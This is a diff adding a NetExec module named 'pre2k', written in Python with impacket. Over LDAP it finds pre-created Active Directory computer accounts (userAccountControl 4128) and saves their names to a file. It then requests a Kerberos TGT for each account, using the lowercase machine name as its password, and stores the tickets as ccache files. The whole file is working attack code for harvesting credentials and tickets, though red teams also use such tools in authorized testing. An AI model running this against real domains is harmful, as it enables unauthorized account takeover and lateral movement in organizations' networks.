|
| 1 | +import os |
| 2 | +from impacket.krb5.kerberosv5 import getKerberosTGT |
| 3 | +from impacket.krb5.ccache import CCache |
| 4 | +from impacket.krb5.types import Principal |
| 5 | +from impacket.krb5 import constants |
| 6 | + |
| 7 | +from nxc.parsers.ldap_results import parse_result_attributes |
| 8 | +from nxc.paths import NXC_PATH |
| 9 | + |
| 10 | + |
| 11 | +class NXCModule: |
| 12 | + """ |
| 13 | + Identify pre-created computer accounts, save the results to a file, and obtain TGTs for each pre-created computer account. |
| 14 | + Module by: @shad0wcntr0ller |
| 15 | + """ |
| 16 | + name = "pre2k" |
| 17 | + description = "Identify pre-created computer accounts, save the results to a file, and obtain TGTs for each" |
| 18 | + supported_protocols = ["ldap"] |
| 19 | + opsec_safe = True |
| 20 | + multiple_hosts = False |
| 21 | + |
| 22 | + def options(self, context, module_options): |
| 23 | + pass |
| 24 | + |
| 25 | + def on_login(self, context, connection): |
| 26 | + try: |
| 27 | + ldap_connection = connection.ldapConnection |
| 28 | + |
| 29 | + # Define the search filter for pre-created computer accounts |
| 30 | + search_filter = "(&(objectClass=computer)(userAccountControl=4128))" |
| 31 | + attributes = ["sAMAccountName", "userAccountControl", "dNSHostName"] |
| 32 | + |
| 33 | + context.log.info(f"Using search filter: {search_filter}") |
| 34 | + context.log.info(f"Attributes to retrieve: {attributes}") |
| 35 | + |
| 36 | + computers = [] |
| 37 | + |
| 38 | + try: |
| 39 | + # Use paged search to retrieve all computer accounts with specific flags |
| 40 | + search_results = connection.search(search_filter, attributes) |
| 41 | + results = parse_result_attributes(search_results) |
| 42 | + context.log.debug(f"Search results: {results}") |
| 43 | + |
| 44 | + for computer in results: |
| 45 | + context.log.debug(f"Processing computer: {computer['sAMAccountName']}, UAC: {computer['userAccountControl']}") |
| 46 | + # Check if the account is a pre-created computer account |
| 47 | + if int(computer["userAccountControl"]) == 4128: # 4096 | 32 |
| 48 | + computers.append(computer["sAMAccountName"]) |
| 49 | + context.log.debug(f"Added computer: {computer['sAMAccountName']}") |
| 50 | + |
| 51 | + # Save computers to file |
| 52 | + domain_dir = os.path.join(f"{NXC_PATH}/modules/pre2k", connection.domain) |
| 53 | + output_file = os.path.join(domain_dir, "precreated_computers.txt") |
| 54 | + |
| 55 | + # Create directories if they do not exist |
| 56 | + os.makedirs(domain_dir, exist_ok=True) |
| 57 | + |
| 58 | + with open(output_file, "w") as file: |
| 59 | + for computer in computers: |
| 60 | + file.write(f"{computer}\n") |
| 61 | + |
| 62 | + # Print discovered pre-created computer accounts |
| 63 | + if computers: |
| 64 | + for computer in computers: |
| 65 | + context.log.highlight(f"Pre-created computer account: {computer}") |
| 66 | + context.log.success(f"Found {len(computers)} pre-created computer accounts. Saved to {output_file}") |
| 67 | + else: |
| 68 | + context.log.info("No pre-created computer accounts found.") |
| 69 | + |
| 70 | + # Obtain TGTs and save to ccache |
| 71 | + ccache_base_dir = f"{NXC_PATH}/modules/pre2k/ccache" |
| 72 | + os.makedirs(ccache_base_dir, exist_ok=True) |
| 73 | + |
| 74 | + successful_tgts = 0 |
| 75 | + |
| 76 | + for computer in computers: |
| 77 | + machine_name = computer[:-1].lower() # Remove trailing '$' and convert to lowercase |
| 78 | + if self.get_tgt(context, machine_name, connection.domain, connection.kdcHost, ccache_base_dir): |
| 79 | + successful_tgts += 1 |
| 80 | + |
| 81 | + # Summary of TGT results |
| 82 | + context.log.success(f"Successfully obtained TGT for {successful_tgts} pre-created computer accounts. Saved to {ccache_base_dir}") |
| 83 | + |
| 84 | + except Exception as e: |
| 85 | + context.log.fail(f"Error occurred during search: {e}") |
| 86 | + |
| 87 | + ldap_connection.close() |
| 88 | + return True |
| 89 | + |
| 90 | + except Exception as e: |
| 91 | + context.log.fail(f"Error occurred during LDAP connection: {e}") |
| 92 | + return False |
| 93 | + |
| 94 | + def get_tgt(self, context, username, domain, kdcHost, ccache_base_dir): |
| 95 | + try: |
| 96 | + userName = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) |
| 97 | + password = username # Password is the machine name in lowercase |
| 98 | + context.log.info(f"Getting TGT for {username}@{domain}") |
| 99 | + |
| 100 | + tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT( |
| 101 | + clientName=userName, |
| 102 | + password=password, |
| 103 | + domain=domain, |
| 104 | + lmhash="", |
| 105 | + nthash="", |
| 106 | + aesKey="", |
| 107 | + kdcHost=kdcHost, |
| 108 | + serverName=None |
| 109 | + ) |
| 110 | + |
| 111 | + self.save_ticket(context, username, tgt, oldSessionKey, ccache_base_dir) |
| 112 | + context.log.success(f"Successfully obtained TGT for {username}@{domain}") |
| 113 | + return True |
| 114 | + except Exception as e: |
| 115 | + context.log.fail(f"Failed to get TGT for {username}@{domain}: {e}") |
| 116 | + return False |
| 117 | + |
| 118 | + def save_ticket(self, context, username, ticket, sessionKey, ccache_base_dir): |
| 119 | + try: |
| 120 | + ccache = CCache() |
| 121 | + ccache.fromTGT(ticket, sessionKey, sessionKey) |
| 122 | + ccache_filename = os.path.join(ccache_base_dir, f"{username}.ccache") |
| 123 | + ccache.saveFile(ccache_filename) |
| 124 | + context.log.info(f"Saved ticket in {ccache_filename}") |
| 125 | + except Exception as e: |
| 126 | + context.log.fail(f"Failed to save ticket for {username}: {e}") |
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